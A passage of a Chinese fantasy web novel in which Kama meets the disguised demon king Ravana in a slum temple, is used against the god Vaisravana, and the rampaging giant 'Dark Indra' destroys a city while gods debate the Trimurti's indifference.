门开了,一个穿着翠绿色长裙的女人随着音乐走进屋,她个子高挑,长发过腰,眉心点着吉祥印,戴着精致华丽的首饰,看上去端庄大方。 “啊,你终于醒了,感觉怎么样?要不要吃点东西?”她问。 “这里是……什么地方?”卡玛问。 “这里是罗摩神庙。”她双手合十,“我是这里的祭司苏里帕那卡,毗湿奴神及其化身罗摩旃荼罗的谦卑仆人——你可以叫我苏里帕。” 她还在贫民区——只有贫民区才会有神庙和祭司。 “我为什么会在这里?”她问。 “你突然昏倒在路边,有人把你送到这里。”苏里帕说。 卡玛想起了那个温暖的怀抱和那张藏匿在光芒中模糊不清的脸。 “是谁?……”她问,“我是说,如果可以的话,我想当面谢谢他。” “救你的人,是希兰亚卡悉布先生。” 听到那个名字,卡玛的心咚咚地跳了起来。 “他现在还在这里吗?”她小心地问。 “是的。”苏里帕点了点头,“十胜节期间,希兰亚卡悉布先生会巡游贫民区全部十六座罗摩神庙,为大家排忧解难,无论贫富贵贱,都可以拜访他——你非常幸运,当你倒下的时候希兰亚卡悉布先生正好经过,他把你带到这座罗摩神庙,并治好了你的伤。” 说到这里苏里帕一脸关切地看着卡玛。 “你现在……感觉怎么样?希兰亚卡悉布先生说……”她欲言又止。 “他说什么?”卡玛追问。 “他说在你体内藏匿着可怕的力量,比最近大肆侵犯人间的所有魔鬼加起来还要强大,他说你正是因为无法承受被这力量侵蚀才会昏迷,当他遇到你的时候你已经失去了视觉、听觉和味觉……”见卡玛的眼睛越睁越大,苏里帕忙说,“这种事情在上面的人看来可能很荒诞,但是……” “我相信他的话。”卡玛下了床,“求求你,苏里帕,如果他还在这座神庙里,请带我去见他,我正是有求于他才会来到这里。” “希兰亚卡悉布先生已经知道了,他让我在你醒后带你去见他。” 卡玛随着苏里帕那卡走出屋子。 希兰亚卡悉布的确是拥有非凡能力的人,和苏里帕的交谈中卡玛已经可以推断出这一点——如果在她失去知觉前的那一刻把她接住的人就是希兰亚卡悉布,那么她几乎可以肯定这个人是某种超越常识的存在,就像刹迦罗、希格玛和因陀罗一样是天神在人间的化身也不一定。 他展现了自己的预言能力,还恢复了她的感官,现在她完全感觉不到自己体内还有降三世活动的迹象,连刹迦罗都需要耗费巨大心力才能做到的事却被他轻易完成……难道这个希兰亚卡悉布真正的身份是比刹迦罗的本尊还要崇高的天神吗? 莫非…… “请往这边走。”苏里帕那卡说。 罗摩神庙比卡玛想象的要大很多,虽然已经属于古代遗址,却并没有受到政府的保护,或许是因为这里离污染区很近,只有不要命的考古学家和人文主义者才会对这种地方感兴趣。贫民区里的人们自发地保护神庙,并虔诚地供奉神庙里的天神,神庙里的祭司享有崇高地位,这一切在这座城市的“上层居民”看来都不可思议,被各种科技和前卫思潮包围的他们已经无法理解“信仰”和“崇拜”这种事情了。 卡玛看到很多信徒在膜拜神庙里的塑像,他们当中有些人形容枯槁,衣衫褴褛,嘴里念念有词;还有些人围聚在一起唱歌跳舞,男人们全部是素色白衣,女人们却个个艳丽撩人,歌词大多是在歌颂神和英雄的事迹或者他们的爱情,最令卡玛惊讶的是无论男女老少,仿佛个个都是跳舞能手,哪怕才几岁的小孩混在人群中随着节拍扭动,看上去也颇有门道。 这些人的物质很贫乏,他们当中绝大部分人身体上都有病痛,因为违禁药物和毒品大多通过贫民区流通和污染层的影响,这些人出生时基因就存在缺陷,有些活不过二十三岁,有些因为基因突变而产生了奇特的能力,他们不在政府的规划范围内,自然也不会有形形色色的社会保障,大部分人无法支付更换和保养人造人体的费用,尽管这在“上层居民”看来只不过是一笔普通的日常开支,“天堂”和“未来”就在这些人头顶几百米处。 但是他们似乎看起来很快乐。 是因为精神有依托的缘故? 是因为在他们的信仰里,人的一生只不过是无数次轮回中的驿站之一? 卡玛望着眼前的一切。 无意贬低,但她并不相信这些。 与其将希望寄托在来生,不如在这一世努力活着。 就算真的有轮回,谁又能保证下一次的自己还是自己呢? 在这个可以通过更换身体来实现长生不老,连记忆都能篡改,灵魂都能像数据一样拷贝的时代,还有什么办法能证明自己的存在是独一无二的? 人类加注于自身的不安稳已经令他们不堪重负,她才不要再被那些冥冥中的东西左右。 她一定要设法将体内的那个东西赶出来。 苏里帕那卡不疾不徐地引路,每个遇到她的人都会恭敬虔诚地双手合十向她致意,而她对每一个人都如春风般和煦,无论对方是骨瘦如柴衣不遮体的流浪汉还是衣冠笔挺的“上层居民”。 卡玛被带到一扇门前。 “希兰亚卡悉布先生就在里面等你。” 在那位女祭司的授意下,卡玛推门而入。 房间很大,上百支蜡烛呈环状排列,中央是一座十余米高的七头大蛇雕像,蛇头不断涌出温泉,雾气与熏香交织,衬着迷离的烛光,宛若幻境。 这里一片寂静,门在身后合上,就像与世隔绝一般。 卡玛小心地前行。 上一个时代结束后,宇宙中只有一望无际的咸海。 突然前方响起一个男人的声音,卡玛一怔,停下脚步。 那个声音自顾自地叙述着。 大海中央,毗湿奴仰卧在千头大蛇阿南塔的身上,他面容祥和,静静地凝视着无尽的虚空。 卡玛抬头凝视着那座雕像,七个眼镜蛇头撑开颈部,看起来就像一张伞。 有一天,从他的肚脐中生出了一株巨大的莲花,盛开时的莲花绽放出千亿倍于太阳的光芒,整个宇宙都被照亮。莲花的光芒中,出现了梵天,这位从漫长沉眠中醒来的天神创造了崭新的世界,一切都是他的杰作。 当这个时代来到尽头,湿婆会毁灭一切,让世界重归于无。从混沌时代开始至今,宇宙就一直处于“三连神”——即创造神梵天,守护神毗湿奴和毁灭神湿婆——的绝对支配之下,循环不息。 她曾经从伊诺那里听到过同样的神话,对于梵天、毗湿奴和湿婆这三位大神并不陌生,然而,现在对她说这些做什么? 不过,并不是所有人都对这种状况感到愉快,一千年前,天神的世界——也就是被称为“须弥”的地方,发生了一次前所未有的暴动,有五位天神试图否定三连神的地位并取而代之,他们宣布脱离神族,自称“明王”,由此引发了一场浩劫,三界六道都被波及,就是“明王战争”。 卡玛心跳加快,心头淤积已久的疑惑,如今竟要被驱散了。 刹迦罗从未谈及,阿汉只字不提的事,却在一个从未谋面的陌生人口中抽丝剥茧,一点一点地展现在她面前,她不敢再往前走,生怕打断对方。 明王战争的起因,其实是源自于一项提案。 提案?…… 有一位叫做释迦的天神,在求见三连神时向他们展示了自己开发完成的科技成果,内容是关于天神机械体的使用,释迦完成了从理论基础到模型构建以及复合测试等一系列研究,希望三连神能够通过他的提案,在须弥采用这项技术,基于这项科技,天神们可以使用强度更高同时限制更少的机械化身,并且几乎不需要维护,便于控制,修理更换也很方便快捷——释迦认为如果采用他所开发的技术,须弥的整体实力将大大提升,天神能轻易击退进犯的阿修罗,而不需要每次都浴血奋战,甚至当遇到强大的阿修罗王时还会有败北的可能。 释迦原本信心十足,然而出乎他意料的是,三连神否决了这项提案,理由是这项技术虽然具备提案所描述的全部优点,却也有一个致命的缺陷。 卡玛全神贯注地听着。 根据释迦的技术,这种机械体需要外部能源支持,同时天神通过自己的精神体来加以控制,然而三连神在经过分析后,发现这项技术有一个副作用,那就是会对天神的精神体产生影响,在令他们变得更加强大的同时,也会将他们潜意识中的某些欲望放大,当面临激烈战斗精神输出陡增时尤为明显,严重时会令天神们性情大变,丧失自我,也就是精神污染现象,如果这种事情发生在高位天神身上,或者在须弥大面积暴发,后果不堪设想,因此三连神全体都投了反对票。 付诸心血的研究却没有通过,令释迦大失所望,后来他还去找了须弥之主帝释天因陀罗,然而三连神早已密会因陀罗告知此事,并要求因陀罗进行监视,防止释迦与其他天神甚至是阿修罗就这项技术进行秘密合作,如果有必要可以采取进一步措施——结果当然是因陀罗也一口拒绝。 那个声音顿了顿,卡玛忍不住轻声发问。 后来么?释迦是个很聪明的人,同时他很敏感,在三连神和因陀罗那里两番受挫,他突然很不安,这种感觉越来越强烈,他好几次想把研究成果摧毁,对自己使用遗忘之术,可终归舍不得自己的结晶付诸东流,就在这个时候,一位叫那至的天神找到了他。 卡玛总觉得自己在哪里听过那至这个名字,却又想不起来,只得听下去。 那至与释迦接触的结果,是包括他们两人在内一共五位天神通过释迦的技术改造了自己的天神本体,接下来的事情……大概你也已经猜到了——以那至为首的五人公开向三连神宣战,在须弥引起轩然大波,其他天神对此嗤之以鼻,可是没想到这五位原本位阶并不高的天神在经过身体改造后脱胎换骨,所有接受了他们挑战的天神都被击败,同时每当他们获得一次胜利就变得更强,当因陀罗率领四天王与他们交手数日战成平局后,大家开始意识到问题的严重性——身为天帝的因陀罗实力不用多说,四天王是仅次于三连神的最强天神集团,尤其是北方毗沙门天王。 刹迦罗。 “卡玛小姐。” 冷不防那个声音一下子在耳边响起,卡玛一惊,脚底一滑,差点摔倒。 但一双有力的手臂及时地抱住了她。 卡玛不知道自己什么时候站在了水中,温泉没过她的膝盖,她有些惊慌地挣脱出那个怀抱,转身盯着对方。 那是一个非常英俊的年轻男子。 他皮肤白皙,墨蓝色的长发齐腰,宽肩细腰,四肢修长。 他全身赤裸,站在水中,就像一个神,闪闪发光。 卡玛有些尴尬,却在不经意间与那个男人的目光相对后,再也移不开视线。 “卡玛。” 他的声音是如此悦耳迷人,和他的眼睛一样充满魔力。 他朝她走来,再次从身后抱住了她,而这一次卡玛没有拒绝。 “你找我有什么事情呢?” “我……” “寻找希兰亚卡悉布的你,应该不是为了听神话故事专程而来的吧?”他在她耳边轻声呢喃,同时开始缓缓脱去她身上的衣物。 卡玛背靠着他的胸膛,凝视着七头那迦相入神,跳动的烛火宛若繁星,乳白色的水雾抚过皮肤,与这个男人一起浸泡在温泉中,竟令她感到莫名的安宁和满足。 “希兰亚卡悉布……你到底是谁?”她问,“对一切都了若指掌,好像什么事都逃不开你的眼睛,你就是刹迦罗的委托人吗?你是梵天?毗湿奴?还是湿婆?……” “和你的现况相比,我的身份大概并不重要吧?”他微微蹙眉,看着她的脸,“‘她’马上就要醒过来了,你感觉不到吗?” “你可以阻止这一切吗?”卡玛望着他,“我要把她驱逐出我的身体,我想以人类的身份活下去——你能帮我吗?” “我已经为你准备好了。”他说,“这里的一切,都是为了帮助你而布置的,你所要做的只有尽量放松,然后完全地信任我。” “降三世她……” “千年前明王战争酿成的悲剧绝不能重演。”他低声说,“那样的伤痛,这个世界经受不住第二次,把降三世彻底封印是唯一的办法。” 希兰亚卡悉布开始念起咒语。 烛火改变了方向,全都指向温泉中心,香炉中腾起的白烟在他们身边凝聚成一个圆环。 希兰亚卡悉布抬起手,水珠从池中升起,在卡玛跟前形成一面镜子。 伴随着冗长的咒文,他继续着那个古老的故事。 “北方毗沙门天曾经爱上过一个女人,这位掌管着宇宙宝藏的天神甚至把自己的一半财富都给了她,然而众神还没来得及祝福他们,这个女人就在遇到了另一个男人后闪电般地移情别恋,谁也想不通她为什么会舍弃显赫、有权势、富有得无人能及同时还深爱着她的毗沙门天王,而跟着那个男人走,也许是爱神迦摩的错,也许是三连神自有道理的安排,也许是命中注定……卡玛,你知道她是谁吗?” “她就是耶罗,也就是后来的降三世明王。”卡玛望着镜中的自己。 “没错。” 希兰亚卡悉布赞许地点了点头。 “耶罗有一个倾慕者,自从她小时候起就一直默默地守护着她,是她最亲近的人,当她追随那至后,这个对耶罗忠心耿耿的男人选择与她一起接受本体改造,成为了大威德明王。” “他叫汉巴达,也就是阿汉。”卡玛喃喃自语。 “就是这样。”希兰亚卡悉布微笑道。 “于是,中央不动尊明王那至、誓死追随他的降三世明王耶罗、耶罗的守护者大威德明王汉巴达,以及机体改造技术开发者释迦——他后来被称为无能胜明王,再加上那至的伙伴军荼利明王沙克帝,五大明王及其各自部下和因为各种原因而投靠他们的天神、凡人以及阿修罗所组成的明王军团朝位于须弥之颠的善见城进发,他们的目的是打败帝释天和四天王,进入无往虚空与三连神发生接触,迫使他们移交最高支配权,之后重新建立宇宙秩序。” 泉水在希兰亚卡悉布的左手掌心凝聚成一把剃刀。 锋利的刀刃轻轻地压在卡玛的脖子上,而她无动于衷,似乎完全不担心身后的男人会挑破她的血管。 “他们几乎就要成功了……是的,几乎。” “如果不是因为那个叛徒的话。” 剃刀移到卡玛的鬓角,只是那么轻轻一划,她的发丝就悄然飘落。 希兰亚卡悉布在为卡玛削发,他的动作轻柔而优雅。 看着那些蓝色的发丝纷纷落下,卡玛觉得烦恼也随之消散。 “因为那个叛徒的缘故,三连神掌握了明王机体的秘密,并依次重新确立了善见城的结界,由此局势逆转……这些事情,那个梦里你已经看得很清楚了。” “中央不动尊明王被湿婆击败,永远丧失了物理存在,灵魂被囚禁在毗湿奴的天国由克里希纳镇持,他永远不会苏醒,也再不会转生。” “降三世明王被毗沙门天王击败,走投无路的大威德明王在绝望中自我引爆,他们形神俱灭,理应不会在这个时代留下任何因果,可是不知道为什么,他们却又在千年后出现在摩诃,大威德明王甚至依然拥有完整的明王机体,而降三世明王潜伏在一个人类女孩体内,当她苏醒后也将恢复原本的身份和力量……” 希兰亚卡悉布把卡玛的耳垂轻轻含住。 “很不可思议,不是吗?” 卡玛轻轻地呻吟起来。 她的身上再次出现鲜红色的光纹,当红光接触到温泉时化作液态逐渐蔓延,如同鲜血一般染红了他们周围的池水。 “能做到这一切的,除三连神外不做他想。”希兰亚卡悉布对卡玛的反应非常满意,“然而他们究竟为什么要安排这两位明王在摩诃转生呢?” “千年前的明王战争……”卡玛低声问,“并没有彻底了结吗?” “你非常聪明,对于未知事物的态度不是下意识地否认视其为无稽之谈,而是谨慎地思考其中的合理性……”希兰亚卡悉布笑道,“这与你的前世截然不同,所以我更加欣赏你——卡玛,你的灵魂独一无二,你不是任何人的替代品。” “呜……”

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因为她看到,镜中的自己,被削光了头发的她—— 头顶有着清晰的—— 黑色莲花图案。 此时此刻,她全身的红光都沿着肢体上的奇异花纹朝头顶涌去,莲花图案渐渐由黑转红,并发出夺目的光芒。 “真美,不是吗?”希兰亚卡悉布赞叹着,抬起右手。 当他的手与那朵艳丽的红莲相叠时,红光开始争先恐后地渗入他的掌心,他赤裸的躯体变得透明,每一根脉络都清晰可见,卡玛身上的光在他身上找到了新的栖息地,并迅速与之融为一体。 “啊……” 男人欢愉地舒了口气。 “每一次的感觉都这么令人迷醉……军荼利是这样……中央不动尊是这样……现在的降三世也果然没有令我失望啊……” “……仔细体味的话,能感觉到细微的区别……军荼利的野心、不动尊的霸气、降三世的残忍……”他兴奋得难以自制,昂扬的林枷产生的炽热几乎引燃空气。 “释迦真是个天才……是的……如果他能坚持到底而不是屈从于内心的恐惧……如果他没有投靠三连神成为毗湿奴的第九个化身……也许现在他也是我的一部分了……我能从他身上得到什么呢?狡诈?阴险?……或者说,所谓的无常?” “啊……还有大威德……他的勇猛……他的坚韧……” 希兰亚卡悉布狂笑起来。 温泉彻底变红,成了热气腾腾的血池。 九个球体从血池中浮起,当它们离开水面悬浮在空中时才能看清其全貌—— 那是九个人头。 喜怒哀乐的男女相,共是八个,还有一个是无表情的少女头颅。 希兰亚卡悉布把自己的首级取下托在左掌,右手开始摆布起自己的五官,他的脸就像一个未完成的泥塑,被他搓揉挤捏一番后,变成了无表情的少年相。 当他再次把这个首级放到自己脖子上时,希兰亚卡悉布——或者,现在应该称他为罗婆那——变成了一个裸体的少年,他如水晶般晶莹剔透,完美无瑕。 少年抱着比自己高半个头的卡玛,一脸怜悯地盯着她骇然的神情。 “三连神算尽一切,结果还是没能阻止我得到你,如果说这也在他们的计划之中,罗婆那可真想不出他们还有几分胜算。” 他扳过卡玛的脸,冷冰冰地盯着她。 “真可怜,他们把被毗沙门天打碎的降三世的灵魂残片聚拢,通过转生程序把你创造出来,然后将记忆一片空白的你丢在那个垃圾场,连你和大威德的相遇都是被安排好的——你们都是三连神设在摩诃的诱饵,用处是引罗婆那上钩。” “眼看饵要被吞掉,却没能钓起想要的鱼,于是只好下更大的饵……” 少年转动眼珠,在他的注视下镜中影像开始发生变化。 第六十八贫民区,五号货运码头。 海面上乌云翻滚,就像一群群带着闪电光环的狂怒大象。 港湾水域深处藏匿着庞然大物,云与海之间的超强结界维持着最后的平衡点。 巨型莲花法阵的核心,是空中的两个发光体。 金光来自北方毗沙门天王,红光则源于东方持国天王。 “听说南方增长天王和西方广目天王留在须弥代替帝释天主持大局……”少年若有所思,“四天王里少了两个,所以无法使用四处加持印,只能用毗沙门的天王莲花法阵暂时压制狂暴的因陀罗吗?……” 那两个家伙,居然身边没人护法,哈哈哈! 只需要轻轻一拨,平衡就会被打破哦。 那样的话就再也无法控制因陀罗了唷。 把毗沙门天和持国天干掉吧!他们已经坏过我们的事了! 要不要再试试看侵蚀他们的机体呢? 嗯……他们有过教训,这一次应该不会轻易让我们得手吧。 九个人头议论纷纷,很快它们就达成一致意见,开始围绕着少年和卡玛加速旋转起来。 破掉天王莲花法阵,让暗黑帝释天降临摩诃! 破掉天王莲花法阵,让暗黑帝释天降临摩诃!! 破掉天王莲花法阵,让暗黑帝释天降临摩诃!!! 少年耸了耸肩。 “既然这样,那就如罗婆那所愿吧。” 说着他一把捏住卡玛的咽喉,在她耳边近乎呢喃地低语。 “对于冷酷无情的降三世而言,伤害那个男人易如反掌……” 住……住手!罗婆那! “以你为凭,制造出来的精神波可以给毗沙门致命一击……” 刹迦罗……快逃!我无法控制自己……你会被我杀掉!! “怎么了?你不是和大威德完成了曼陀罗仪式么?既然选择了阿汉,那么毗沙门对你也就没有利用价值了吧?现在他对你而言不过是个陌生而危险的天神,所以对他出手你应该没有任何顾忌,不是吗?” 不……不是这样的! “原来你还不能割舍对他的欲念,那么你是在欺骗阿汉咯?” …… “因为阿汉真正喜欢的人是降三世,而并非是你这个转生体,所以你后悔了,现在你又开始打毗沙门的主意,想和他同归于好了吧?” …… “真是不贞的女人。”少年冷笑道,“不贞的女人,她的感情也是轻贱的,你和千年前的降三世一样无情,当你们看中一个男人后,其他的男人就沦为你们脚下的尘埃,一个接着一个地变成牺牲品,所以你们注定不会幸福,这就是你们的报应。” 卡玛彻底被激怒,她全身红光激荡,在十首王罗婆那嚣狂的笑声中,血池沸腾了。 降三世·婆娑现世书·胜身三摩耶咒! 罗摩神庙中迸出一束暗红色的毫光,射向电闪雷鸣的海域。 发动天王莲花法阵的刹迦罗正全神贯注于压制狂怒的因陀罗,等到他察觉到一股恐怖的能量急速接近自己时已来不及了。 刹迦罗!!!—— 降三世的偷袭来得太快,刹迦罗的天神护盾尚未完全开启便被击溃。 红光刺进了他的左眼,从他的后脑穿出。 希格玛目睹了这一切,却什么也做不了。 那是针对毗沙门的精神攻击,他根本无从干预。 这一击的后果,完全取决于毗沙门自己。 希格玛看到毗沙门的嘴角微微扬起,他看起来出奇的平静。 这种恬然安详的表情,只有觉悟者才会拥有。 千年前,你对我百般折磨,而我于盛怒之下令你灰飞烟灭。 千年后,我以左眼偿还孽障,至此再无爱恨。 天王莲花法阵崩溃,在刹迦罗坠入海中前,希格玛把他接住。 “真没想到。” 刹迦罗默然不语。 希格玛轻叹一声。 “隔了一千年,你总算解脱了,但是——” 他望着猛然上升的海面。 暗黑帝释天已经醒了。 18. 第 18 章 刹迦罗和希格玛封印失败,雷暴现象瞬间猛增八倍,黑暗的天空就像被撕开了无数条裂口,码头附近数公里范围内的海域成了生命禁区,大大小小的鱼被电流击毙后浮上海面,浮游生物的尸体变成泡沫。 异常现象惊动了政府,很快大批警车和武装部队便聚集至第三十七贫民区的五号码头,他们的注意力集中在了呈巨大球状隆起的海面,和悬浮在空中的两个人影上。 是“阿修罗”引发的海啸吗? 警方试图喊话,但对方毫无反应。 “持国。”刹迦罗低声说。 “嗯。”希格玛应道。 “联系世界集团和毗沙门财团的人。”刹迦罗捂着左眼,鲜血从指缝间涌出,他的半个脸都是血,衬衣领口都被染得通红,“叫他们立即尽可能地疏散这个城市里的人。” “好像之前我提出类似建议的时候被你否决了。”希格玛说,“等到我们封印失败才来着急,现在可是真的来不及了——暗黑帝释天登陆后阿什提至少有一半人会死,这座城市能否在一小时后继续存在都是未知数。” 虽然这么说,但希格玛还是照着刹迦罗的话做了。 “被降三世的光射中时……我似乎突然明白了一些事情。”刹迦罗说。 “是吗?”希格玛淡淡地说,“所以你打算从此以后开始做一个悲天悯人的天神了?” “不。”刹迦罗笑了笑,“只是神魔之间的事,没必要让众生跟着受苦。” 话音刚落,海面传来一声闷响,万钧巨浪拍下,顿时淹没了整个码头,货轮和龙门吊像玩具一样被冲得七零八落,而这仅仅是前兆而已。 一个庞然大物从海中升起,缓缓地登上陆地。 这是个约摸有三百三十米高的超巨型机械体,上半部分是类人形态,闪电在它的头顶和后颈凝聚为王冠,它赤红色的眼瞳宛若两轮滴血的太阳,四只手臂就像支撑天地的支柱,它的下半部分是一头全身覆盖重型装甲的机械大象,乌云是它的斗篷,它每前进一步都令大地震颤,通体闪耀的雷霆形成强大的电场,但凡被触及到的无一例外地化为灰烬。 这就是须弥之主因陀罗的真正面目,然而此时的它正处于狂暴状态,亦即是三界中最危险的生物——须弥的暴君,暗黑帝释天。 它眯着眼环视四周,突然发出一声惊天动地的咆哮。 大威德,降三世,出来受死吧!!—— 空气被音波激荡,白色的光环一闪即逝,暗黑帝释天四周十公里内的范围顷刻间被强大的冲击波吞噬,建筑物像火柴盒一样被揉碎,不知发生何事的人们甚至连惨叫声就来不及发出就被肢解后碾为尘埃。 警察和军方尚未作出任何反应就被瞬间全灭,注视着他们的残骸坠向地面,星星点点地消散在空中,希格玛摇了摇头。 “虽然还不是本体,但能量反应已经高得惊人——” 他突然咳出口血。 “处于防御姿态的我们都难以全身而退,多闻,现在的我们已经没有办法阻止因陀罗了。” 见刹迦罗只是望着越来越近的暗黑帝释天,希格玛用力地摇晃他的肩膀。 “事到如今,难道你还不明白吗?!” “三连神委托因陀罗去追杀降三世时,早就料到大威德不会让他轻易得逞,甚至你为了保护降三世——或者说她的转生体——而对因陀罗出手他们也不会感到意外,机体核心被大威德击溃,因陀罗变成暗黑帝释天,乃至这个城市被毁灭,都在三连神的估算中——而我们现在唯一能做的,只有旁观而已!” 暗黑帝释天将能量汇聚在胸前,它上半部分的类人形态经过局部分解变形后胸口变成了黑漆漆的炮口,复杂的梵文环状法阵缓慢自转四分之一周后,两枚暗紫色的光弹掠过刹迦罗和希格玛头顶,像彗星一样被投向市区。 咔!!——咔!!—— 地平线上闪起光弧,不计其数的建筑物灰飞烟灭。 “你看到了吗?”希格玛指着火光冲天的城市对着刹迦罗喊。 “它唯独不会攻击世界大厦,因为那里存放着三连神的系统主机,就算它狂怒到连三连神写进它根指令集里的代码都可以忽略,把世界大厦连根拔起也无所谓,三连神的本体不会少一根汗毛——三连神根本不在乎暗黑帝释天在人间会造成多大的灾难,这些建筑,这些人类,对于他们来说不过是浩瀚数据中的一小部分,就算被毁灭也可以随时恢复,到了明天,一切都会和因陀罗一起恢复原貌,今天发生的一起都会被三连神从时间轴上抹除,既然这样我们还有什么可担心的?!” “这样未免……太傲慢了。”刹迦罗说。 “这就是三连神,如果你觉得不妥,随时可以向他们宣战,从他们手里夺取最高支配权,然后按照你的意愿重新确立宇宙秩序——就像一千年前的中央不动尊明王那样。”希格玛冷冷地说,“但是你不会,为什么?” “因为拥有最高支配权的存在如果有感情,那么他会比整个世界先崩溃。” “是的。”希格玛说,“所以能支配这一切只有三连神,中央不动尊明王注定成不了至高者,你也一样,宇宙在你们手下走得过几劫?” “是啊。” “既然你已经觉悟。”希格玛拍了拍老友的肩,轻声对他说,“放下这一切,回须弥去吧。” 他低头不语。 “降三世已经和你无关,无论她怎么挣扎也是孤掌难鸣;那个女孩身边早已有了强大忠诚的守护者,他们一定能幸福地走过生生世世;让因陀罗变成暗黑帝释天的始作俑者是三连神,残局自有他们来收拾。”希格玛说,“多闻,这个人间对你而言,已经没有什么好留恋的了。” “所以,回去吧。” 大威德,降三世,以为躲起来我就找不到你们了吗? 暗黑帝释天的眉心闪起金光,随即分裂为八块碎片,坠往不同方向。 那正是位于整个阿什提贫民区全部八座供奉天界之王的因陀罗神庙所在。 金光嵌入巨大古老的神像,褪去尘封千年的表层,竟变成了活物,八个金光灿灿的巨人在贫民区横冲直撞,四处寻找两位明王的踪迹。 明王没找到,倒是揪出不少藏匿在贫民区的阿修罗,全部被当场杀掉,然而很快暗黑帝释天就得到了一个信息——阿修罗似乎更偏好聚集在某一处,那个地方不但阿修罗活动频繁,而且好像还盘踞着什么奇特而强大的力量。 第六十八贫民区。 暗黑帝释天立即大步前进,对于首要目标的渴望令它与两位天神擦肩而过时甚至没有觉察到他们的存在。 刹迦罗亲眼目睹了这一切。 “持国,我不能就这样回须弥。” “为什么?” “因为,我还有两个心愿未了。”刹迦罗双手合十向希格玛施礼。 “你连想都不要想!”希格玛大叫,“我开导了半天,你怎么还是如此冥顽不灵!” “因为我想一直看到最后。”刹迦罗望着暗黑帝释天的背影,“持国,今晚一切都会真相大白,而尘埃落定后,我会了无牵挂地离开摩诃。” 希格玛没好气地瞪了他一眼。 “要是了了愿,你还是走不出来,我就向三连神申请把你的脑子给格了!” “我已经走出来了。”刹迦罗苦笑着指了指自己的左眼。 “无论如何,得先让暗黑帝释天停下来,唯一的办法是使用四处加持印。”希格玛说,“我们现在只有两人,要让增长和广目来帮忙根本来不及,天神不能以本尊直接降临摩诃,光是准备机体就要花很长时间,更别说还要通过三连神的资格认证!” “我知道其他的办法。” “咦?” “是因陀罗自己告诉我的。”刹迦罗说,“在贫民区,应该偶尔也能找到供奉军神的四天王神庙吧?” 少年走出浴池,在混金丝的针织地毯上留下一行暗红色的脚印。 立即有两个女人迎上前服侍他。 “苏里帕那卡。”少年唤道。 “请问有什么吩咐,罗婆那大人?”罗摩神庙的女祭司应声出现,跪在地上,伸手触摸少年的脚。 “苏里帕那卡,你好像有点心神不定?”少年问。 “……” 女祭司不知该如何应答,所幸少年并没有追问。 “‘门’准备得怎么样了?” 苏里帕那卡轻轻松了口气,忙答道: “因为世界大厦遭到阿修罗攻击,所以今年的十胜节来到贫民区罗摩神庙拜祭祈福的人远超往年,十六座罗摩神庙只用了三天时间就聚集了足够的能量。”苏里帕那卡答道,“现在通往帝拜的入口随时都能打开。” 说着她抬起左臂,上面的纹身如同活物般蠕动着,焕发着妖异的幽光。 罗婆那弯腰,执起她的手腕。 不住转动的绿色眼珠和周围暗紫色的脉络几乎占据了她整个掌心。 “她现在已经成为一个超能量体,要穿过结界可不是件容易的事情。”少年自言自语,“若是几天前的她,一个刹帝利就能将其带入帝拜呢……” 说着他对那女祭司点了点头。 “你做得很好,明帝一定会重重赏赐你的,苏里帕那卡,这次你一定能晋升为刹帝利。” “罗婆那大人,你……你说的是真的吗?”女祭司一脸欣喜地问,“明帝大人……他会知道……” “这里发生的一切,明帝大人都了然于心。”少年微笑着说,“不必担心,他不会忘记你的功劳。” “那……那么,现在就请罗婆那大人开启帝拜之门吧!” “这种事情,由你亲自来做,不是更有意义吗?”少年站直身朝门口走去。 “罗婆那大人!”女祭司不敢起身,跪在地上连声呼唤,“我……” “叫你的人侍候那个女孩,她的力量虽然已经觉醒,但毕竟还是个人类,为她做好进入帝拜的准备后,就立即开启入口将她送往楞迦城。” “是!” 轰!—— 轰!!—— 剧烈的震动袭来,屋顶隐隐有尘土抖落。 “苏里帕大人!苏里帕大人!”咚咚咚的脚步响起,一个洪亮的声音嚷着。 “……” 如果可以,苏里帕那卡很想呵斥那个冒失的家伙噤声,然而罗婆那就在旁边,她根本不敢大声说话。 “哗啦”一声门被撞开,一个五大三粗的男人慌慌张张地四下张望。 “苏里帕大人?苏——” 当与那个白衣少年视线相对时,他感到自己全身的力气都被抽光,两腿一软竟情不自禁地跪了下来,心惊肉跳地趴在地上,噤若寒蝉。 “苏里帕那卡,你的人似乎很惊慌呢。”罗婆那若无其事地说,“不问问他到底发生什么事了吗?” “巴鲁,外……外头怎么了?”女祭司压低声音,小心翼翼地问。 男人不敢抬头,结结巴巴地说: “因陀罗神庙里的神像……突……突然活了!正……正在到处……” 他的衣服上沾了些蓝荧荧的液体。 “苏里帕那卡。”罗婆那转向女祭司,“这就是让你担心的事情吧?” “是……是的。” “你有没有感觉到什么呢?” “我……我感到……”看到少年鼓励的目光,女祭司鼓足勇气说,“我感到有一股巨大的力量从海中升起,正向这个城市逼近!” “哦?那是怎样的力量呢?” “就像能毁天灭地一样恐怖……” “你觉得,与明帝大人相比,如何?” “……” “不好说?嗯……那与罗婆那相比呢?” “……”女祭司不知道这位婆罗门为什么要这么问,但她现在只觉得身边的少年比那股突如其来的力量更可怕,不知不觉她已是冷汗涔涔,又不敢擦拭。 少年呵呵地轻声笑了起来。 “不必担心,让阿修罗们都到离他们最近的罗摩神庙里躲避,‘他’不会主动攻击贫民区的神庙,就算盛怒难却,十胜节期间罗摩神庙拥有特别豁免,也不会被摧毁——至于其他的事,交给罗婆那就好。” 说着他越过女祭司和巴鲁,径直朝神庙大厅走去。 罗婆那抬头凝视着那尊罗摩神像,冷笑一声。 为了破除梵天赐给罗婆那的豁免,毗湿奴以他的第七化身降生人间,击败罗婆那后将其放逐至帝拜,可现在罗摩的神庙却成了罗婆那在人间活动的最佳庇护所,谁能想到,被罗摩击败的十首王会藏匿在供奉死敌的庙宇中? 人们在十胜节为罗摩歌功颂德,却没想到自己的偶像早就被魔鬼侵蚀,在这个冷漠麻木的时代,最后的一小撮信仰也成了堕落者的工具,而人们却浑然不觉…… 毗沙门天,你向罗婆那追问“明帝”的真面目,却怎么也不会料到会是如此吧?…… 三连神,你们以洞悉过去、现在和未来自居,难道罗婆那就做不到么?十首王已经参透了过去和现在,对于未来的顿悟也只差最后一步,如今你们居然还把暗黑帝释天送到罗婆那嘴边…… 少年嘴角扬起。 三连神,你们莫非是在反将罗婆那的军…… 赌罗婆那到底敢不敢走下一步么? 少年伸手扶着自己的首级,以脖子为轴转了一圈,当再次回到原位后,原本无表情的少年相变成了喜笑颜开的美女相,躯体也随之变得玲珑有致,身上的纯白色正装换作色彩明艳的纱丽。 暗黑帝释天吗?真是太有趣了,嘻嘻…… 